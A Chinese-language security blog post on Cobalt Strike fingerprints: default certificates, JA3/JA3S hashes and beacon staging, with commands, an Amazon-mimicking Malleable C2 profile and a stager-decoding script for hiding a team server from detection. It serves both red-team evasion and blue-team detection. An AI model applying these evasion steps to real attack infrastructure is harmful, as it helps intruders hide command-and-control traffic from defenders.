Cobalt Strike特征隐藏与流量分析

admin 2022年1月6日01:12:51评论1,173 views字数 12458阅读41分31秒阅读模式

Cobalt Strike简介

Cobalt Strike is software for Adversary Simulations and Red Team Operations. Cobalt Strike 简称CS, A-team详细介绍使用网址。CS是一款优秀的后渗透工具,可以在获取主机权限后进行长久权限维持,快速进行内网提权,凭据导出等。在后渗透中如果未修改特征,容易被流量审计设备监控,被蓝队溯源。

Cobalt Strike 是一个为对手模拟和红队行动而设计的平台,主要用于执行有目标的攻击和模拟高级威胁 者的后渗透行动。本章中会概述 Cobalt Strike 的功能集和相关的攻击流程。在本手册的剩余部分中会 详细的讨论这些功能。

Cobalt Strike的特征

teamserver主控端使用的加密证书

root@kali:~/桌面/cobaltstrike4.0# ls -l
总用量 27748
-rwxrw-rw- 1 root root 126 12月 5 2019 agscript
-rwxrw-rw- 1 root root 144 12月 5 2019 c2lint
-rwxrw-rw- 1 root root 256 1月 25 2020 cobaltstrike.auth
-rwxrw-rw- 1 root root 785468 3月 15 2019 CobaltstrikeCN.jar
-rwxrw-rw- 1 root root 27487620 3月 20 2020 cobaltstrike.jar
-rwxrw-rw- 1 root root 2315 3月 17 2019 cobaltstrike.store
-rwxrw-rw- 1 root root 96104 12月 5 2019 icon.jpg
-rwxrw-rw- 1 root root 141 12月 5 2019 peclone
-rwxrw-rw- 1 root root 141 3月 19 2020 start.bat
-rwxrw-rw- 1 root root 108 3月 19 2020 start.sh
-rwxrw-rw- 1 root root 1865 3月 19 2020 teamserver
-rwxrw-rw- 1 root root 2005 3月 19 2020 teamserver.bat
drwxr-xr-x 2 root root 4096 10月 13 14:41 third-party

这里的cobalstrike.store里面的证书是用来teamserver主控端使用的加密证书(默认端口50050),而不是主机上线的时候使用的

特征很容易看到

keytool -list -v -keystore cobaltstrike.store

image-20211028162530859

我们去fofa进行搜索可以发现大量服务端机器

port="50050" && cert="cobaltstrike"

![image-20211028162701322](../../../../../../Library/Application Support/typora-user-images/image-20211028162701322.png)

image-20211028162745166

我们也可以使用指纹来查询哪些是cobaltStrike的服务器,下面是4.0的证书指纹

image-20211028162818883

可以到censys去查询该证书

7B49FC589E7E738E3457859D269996ECEF83F693570B0AC482C426B1FA04BD73

image-20211028162903879

也可以查看使用此证书的主机

image-20211028162934208

去除特征的几种方法

修改默认端口号

第一种是直接编辑teamserver进行启动项修改。./teamserver 1.1.1.1 password 直接修改teamserver vim teamserver

编辑teamserver文件 搜索server_port

修改端口为12345

image-20211028163024781

再次访问发现端口已经修改

image-20211028163051513

修改默认SSL证书

存在的特征,需要重新创建一个新的不一样的证书。

使用以下命令创建证书

keytool -keystore cobaltstrike.store -storepass 密码 -keypass 密码 
-genkey -keyalg RSA -alias google.com -dname "CN=(名字与姓氏),
OU=(组织单位名称), O=(组织名称), L=(城市或区域名称),
ST=(州或省份名称), C=(单位的两字母国家代码)"

比如修改为百度或者360

360
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 360.com -dname "CN=US, OU=360.com, O=Sofaware, L=Somewhere, ST=Cyberspace, C=CN"

baidu
keytool -keystore cobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"

image-20211028163409229

再次运行发现 证书已经改变特征已经为360公司

image-20211028163438037

image-20211028163540010

HTTP流量

在使用Cobalt Strike HTTP进行对应通信的时候,我们使用wireshark来抓取HTTP协议。包括请求的固定地址,请求头等等。可以看到一些固定的请求信息特征可以查看到。

image-20211110173257064

对应的Malleable-C2-Profiles配置文件由此而来,它允许我们仅通过一个简单的配置文件来改变Beacon和cobaltstrike通信时的流量特征和行为。

https://github.com/rsmudge/Malleable-C2-Profiles

在github上有师傅给出了一些APT 和正常厂商对应行为的配置文件

set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";

http-get {

set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";

client {

header "Accept" "*/*";
header "Host" "www.amazon.com";

metadata {
base64;
prepend "session-token=";
prepend "skin=noskin;";
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";
header "Cookie";
}
}

server {

header "Server" "Server";
header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";
header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
header "X-Frame-Options" "SAMEORIGIN";
header "Content-Encoding" "gzip";

output {
print;
}
}
}

http-post {

set uri "/N4215/adj/amzn.us.sr.aps";

client {

header "Accept" "*/*";
header "Content-Type" "text/xml";
header "X-Requested-With" "XMLHttpRequest";
header "Host" "www.amazon.com";

parameter "sz" "160x600";
parameter "oe" "oe=ISO-8859-1;";

id {
parameter "sn";
}

parameter "s" "3717";
parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com";

output {
base64;
print;
}
}

server {

header "Server" "Server";
header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";
header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";
header "X-Frame-Options" "SAMEORIGIN";
header "x-ua-compatible" "IE=edge";

output {
print;
}
}
}

通过c2lint来检测该文件

╰─$ ./c2lint amazon.profile

===============
default
===============

http-get
--------
GET /s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books HTTP/1.1
Accept: */*
Host: www.amazon.com
Cookie: skin=noskin;session-token=lCZcYm9qlpy8hT41NUthoA==csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

HTTP/1.1 200 OK
Server: Server
x-amz-id-1: THKUYEZKCKPGY5T42PZT
x-amz-id-2: a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
Content-Length: 64

*..[..6..8...Q|?...,V...Md...f..m.8y.....f.E...Ho..pOy....C..{^.

http-post
---------
POST /N4215/adj/amzn.us.sr.aps?sz=160x600&oe=oe&sn=24791&s=3717&dc_ref=http%3A%2F%2Fwww.amazon.com HTTP/1.1
Accept: */*
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Host: www.amazon.com
Content-Length: 24
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

29Mivrcb3fH6Gw0cZioEMA==

HTTP/1.1 200 OK
Server: Server
x-amz-id-1: THK9YEZJCKPGY5T42OZT
x-amz-id-2: a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=
X-Frame-Options: SAMEORIGIN
x-ua-compatible: IE=edge
Content-Length: 0

可以看到我们对应的伪造请求,再次启动teamserver,抓取对应流量包

image-20211110173336803

我们可以看到对应的特征信息已经修改

HTTPS流量

对于HTTPS流量我们是们Wireshark进行抓取

image-20211110175624766

我们可以找到对应的证书数据包,导出对应的分组字节流, Export selected Packet Bytes

image-20211110180152205

计算证书的SHA256值,并在censys.io进行搜索

╰─$ sha256sum https.cer                                                                         
87f2085c32b6a2cc709b365f55873e207a9caa10bffecf2fd16d3cf9d94d390c https.cer

image-20211110181534376

可以看到使用该默认证书的主机

同时在Client Hello数据包中同样也存在

TLS客户端进行指纹识别的思想,最初来自于Lee Brotherston于2015年的一项研究成果,对这项研究感兴趣的读者可以参阅这里;与该思想相关的DerbyCon演讲可以参阅这里

我们知道,不仅”良性的”应用程序会使用TLS及其前身SSL对其流量进行加密,而且恶意软件也常常这样做;前者这样做的目的是确保数据安全,而后者这样做的目的则是将其流量隐藏在噪声中。为了启动TLS会话,客户端将在TCP 3次握手后发送TLS客户端的Hello数据包。这个数据包及其生成方式取决于构建客户端应用程序时所使用的软件包和方法。如果接受TLS连接,服务器将使用基于服务器端库和配置以及Client Hello消息中的详细信息创建的TLS Server Hello数据包进行响应。由于TLS协商是以明文的方式传输的,所以,我们可以使用TLS Client Hello数据包中的详细信息对客户端应用程序进行指纹识别。

JA3 这个项目用于收集Client Hello数据包中以下字段的十进制值:包括版本、可接受的密码、扩展列表、椭圆曲线密码和椭圆曲线密码格式。然后,用,来分隔各个字段、用-来分隔各个字段中的各个值,将这些值串联在一起之后,计算 MD5,就是一个ja3。如果没有某个字段,则这些字段的值为空。

字段顺序如下:

TLSVersion,Ciphers,Extensions,EllipticCurves,EllipticCurvePointFormats

第一字段TLSVersion

image-20211111114925058

0x0303->771

第二个字段Ciphers总共19个

image-20211111115342676

将对应的数值进行转化

0xc02c->49196
0xc02b->49195
0xc030->49200
49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10

第三个字段Extensions

image-20211111115749306

5-10-11-13-35-23-65281

第四个字段:EllipticCurves

image-20211111120033782

0x1d->29, 0x17->23, 0x18->24
29-23-24

第五个字段:EllipticCurvePointFormats

image-20211111120208129

0

将五个字段用,拼接如下:

771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,5-10-11-13-35-23-65281,29-23-24,0

做MD5加密如下:

In [1]: import hashlib

In [2]: hashlib.md5(('771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,5-10-11-13-35-23-65281,29-23-24,0').encode(encoding="utf-8")).hexdigest()
Out[2]: '72a589da586844d7f0818ce684948eea'

也可以使用对应的脚本直接进行解密

https://github.com/salesforce/ja3

╰─$ python ja3.py ~/Documents/0.OL4THREE/HTTPS-WIN10.pcapng
[10.17.21.136:443] JA3: 771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,5-10-11-13-35-23-65281,29-23-24,0 --> 72a589da586844d7f0818ce684948eea
[10.17.21.136:443] JA3: 771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,5-10-11-13-35-23-65281,29-23-24,0 --> 72a589da586844d7f0818ce684948eea
[10.17.21.136:443] JA3: 771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,5-10-11-13-35-23-65281,29-23-24,0 --> 72a589da586844d7f0818ce684948eea

对比 https://github.com/ByteSecLabs/ja3-ja3s-combo/blob/master/master-list.txt 可证实是CobaltStrike的ja3指纹

同样的我们也可以去计算下服务端的ja3s

╰─$ python ja3s.py ~/Documents/0.OL4THREE/HTTPS-WIN10.pcapng
[192.168.72.177:1667] JA3S: 771,CipherSuite(TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384),23-35-65281 --> f9a2073be9cd81e756f9c3ab50ba9bd1
[192.168.72.177:1668] JA3S: 771,CipherSuite(TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384),23-35-65281 --> f9a2073be9cd81e756f9c3ab50ba9bd1
[192.168.72.177:1669] JA3S: 771,CipherSuite(TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384),23-35-65281 --> f9a2073be9cd81e756f9c3ab50ba9bd1

MetaSploit 的 Meterpreter 和 CobaltStrike(并非4.1版本) 的 Beacon 都使用 Windows 套接字来启动 TLS 通信。在 Windows 10 上,JA3=72a589da586844d7f0818ce684948eea(指定 IP 地址),JA3=a0e9f5d64349fb13191bc781f81f42e1(指定域名)。由于 Windows 上的其他普普通通的应用程序也使用相同的套接字,因此,我们很难识别其中的恶意通信。但是,Kali Linux 上的 C2 服务器对该客户端应用程序的响应方式与 Internet 上的普通服务器对该套接字的响应方式相比来说是独一无二的。尽管服务器对不同客户端的响应不同,但它们对同一客户端的响应总是一致的。因此,如果结合 ja3+ja3s,就能够识别这种恶意通信,而不用考虑目的地 IP、域名或证书等细节信息。

JA3和JA3S是一种基于TLS指纹的安全分析方法。JA3指纹能够指示客户端应用程序通过TLS通信的方式,而JA3指纹能够指示服务器响应。如果两者结合起来,实质上就生成了客户端和服务器之间的加密协商的指纹。虽然基于TLS的检测方法不一定是灵丹妙药,也不一定能保证映射到客户端应用程序,但它们始终是安全分析的轴心所在。

所以对于HTTPS证书特征,建议一定要修改默认的HTTPS证书,重新申请一个HTTPS证书,

image-20211111151224222

之后会生成对应的TXT记录,复制进对应的DNS域名管理,解析后下载文件。

image-20211111151350019

之后会得到full_chain.pem证书和private私钥两个文件。上传至cobalt strike文件夹下,使用keytool重新创建证书

image-20211111171130139

image-20211111171206190

openssl pkcs12 -export -in full_chain.pem -inkey private.key -out Wings.p12 -name Wings -passout pass:wings123456

keytool -importkeystore -deststorepass wings123456 -destkeypass ccc123456 -destkeystore wings.store -srckeystore Wings.p12 -srcstoretype PKCS12 -srcstorepass wings123456 -alias Wings

keytool -importkeystore -deststorepass wings123456 -destkeypass ccc123456 -destkeystore wings.jks -srckeystore Wings.p12 -srcstoretype PKCS12 -srcstorepass wings123456 -alias Wings

创建后,在profile配置文件中,添加

https-certificate {
set keystore "wings.store";
set password "wings123456";
}

同时将teamserver中修改调用的store和对应的密码,进行启动发现证书已经修改

image-20211111184234913

image-20211111184332351

在生成可执行文件时,点击Sign executable file 进行勾选

image-20211112165849625

再次抓取流量进行分析

image-20211112170016737

发现证书信息已经修改

Beacon Staging 特征

在cobalt strike 上线的时候,首先投递一个被称为stager的小巧payload,然后去beacon staging server下载体积较大更复杂的stage。具体细节不是很明白。
通过访问默认的uri就可以获取到cobalt strike 的shellcode。有师傅已经写好了grab_beacon_config.nse脚本来识别beacon staging的特征。

nmap xxx.xxx.xxx.xxx --script=grab_beacon_config.nse

image-20211112154717717

当CobaltStrike的stager在受害端运行时,会请求TeamServer端拉取Beacon进行在内存中反射注入运行,先运行stage,打开wireshark抓包

image-20211112162211687

可以看到受害段访问teamserver http://192.168.137.94/EuNU

访问并下载对应脚本

image-20211112162549739

然后通过脚本对stager进行解密

import sys,struct

filename = sys.argv[1]
data = open(filename, 'rb').read()
t = bytearray(data[0x45:])
(a,b) = struct.unpack_from('<II', t)
key = a
t2 = t[8:]
out = ""
for i in range(len(t2)/4):
temp = struct.unpack_from('<I', t2[i*4:])[0]
temp ^= key
out += struct.pack('<I', temp)
key ^= temp
open(filename+'.decoded', 'wb').write(out)
python decostager.py EuNU

然后多出来一个EuNU.decoded文件,之后我们利用如下脚本可以解析出对应的配置信息

https://github.com/Sentinel-One/CobaltStrikeParser

$ python3 ../CobaltStrikeParser-master/parse_beacon_config.py EuNU.decoded
BeaconType - HTTP
Port - 80
SleepTime - 5000
MaxGetSize - 1048576
Jitter - 0
MaxDNS - 255
PublicKey_MD5 - defb5d95ce99e1ebbf421a1a38d9cb64
C2Server - 192.168.137.94,/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books
UserAgent - Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
HttpPostUri - /N4215/adj/amzn.us.sr.aps
Malleable_C2_Instructions - Empty
HttpGet_Metadata - ConstHeaders
Accept: */*
Host: www.amazon.com
Metadata
base64
prepend "session-token="
prepend "skin=noskin;"
append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996"
header "Cookie"
HttpPost_Metadata - ConstHeaders
Accept: */*
Content-Type: text/xml
X-Requested-With: XMLHttpRequest
Host: www.amazon.com
ConstParams
sz=160x600
oe=oe=ISO-8859-1;
s=3717
dc_ref=http%3A%2F%2Fwww.amazon.com
SessionId
parameter "sn"
Output
base64
print
PipeName -
DNS_Idle - 0.0.0.0
DNS_Sleep - 0
SSH_Host - Not Found
SSH_Port - Not Found
SSH_Username - Not Found
SSH_Password_Plaintext - Not Found
SSH_Password_Pubkey - Not Found
SSH_Banner -
HttpGet_Verb - GET
HttpPost_Verb - POST
HttpPostChunk - 0
Spawnto_x86 - %windir%\syswow64\rundll32.exe
Spawnto_x64 - %windir%\sysnative\rundll32.exe
CryptoScheme - 0
Proxy_Config - Not Found
Proxy_User - Not Found
Proxy_Password - Not Found
Proxy_Behavior - Use IE settings
Watermark - 305419896
bStageCleanup - False
bCFGCaution - False
KillDate - 0
bProcInject_StartRWX - True
bProcInject_UseRWX - True
bProcInject_MinAllocSize - 0
ProcInject_PrependAppend_x86 - Empty
ProcInject_PrependAppend_x64 - Empty
ProcInject_Execute - CreateThread
SetThreadContext
CreateRemoteThread
RtlCreateUserThread
ProcInject_AllocationMethod - VirtualAllocEx
bUsesCookies - True
HostHeader -
headersToRemove - Not Found
DNS_Beaconing - Not Found
DNS_get_TypeA - Not Found
DNS_get_TypeAAAA - Not Found
DNS_get_TypeTXT - Not Found
DNS_put_metadata - Not Found
DNS_put_output - Not Found
DNS_resolver - Not Found
DNS_strategy - Not Found
DNS_strategy_rotate_seconds - Not Found
DNS_strategy_fail_x - Not Found
DNS_strategy_fail_seconds - Not Found

防护

从防火墙上限制访问beacon的端口。

iptables -I INPUT -p tcp --dport 443 -j DROP 
iptables -I INPUT -s xx.xx.xx.xx -ptcp --dport 443 -j ACCEPT

重新启动网卡,即可

image-20211112164856353

修改profile文件

http-stager {
set uri_x86 "/get32.gif";
set uri_x64 "/get64.gif";

client {
parameter "id" "1234";
header "Cookie" "SomeValue";
}

server {
header "Content-Type" "image/gif";
output {
prepend "GIF89a";
print;
}
}
}

再次生成请求,进行抓包发现对应信息已经修改

image-20211112165259063

再次访问链接,为以下格式

image-20211112165737808

修改源码加密的密钥

该内容在CobaltStrike二开特征修改中。

参考链接

http://www.feidao.site/wordpress/?p=4457

[https://kam1.cc/2021/08/09/Cobalt%20Strike%E9%9A%90%E8%97%8F%E7%89%B9%E5%BE%81%E4%B8%8E%E6%B7%B7%E6%B7%86%E6%B5%81%E9%87%8F/](https://kam1.cc/2021/08/09/Cobalt Strike隐藏特征与混淆流量/)

https://www.freebuf.com/articles/endpoint/253322.html

https://paper.seebug.org/1349/

https://mp.weixin.qq.com/s/6nBrRJHFFpCw4N90n8aURA

https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967

FROM :ol4three.com | Author:ol4three

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:12:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Cobalt Strike特征隐藏与流量分析https://cn-sec.com/archives/721428.html

发表评论

匿名网友 填写信息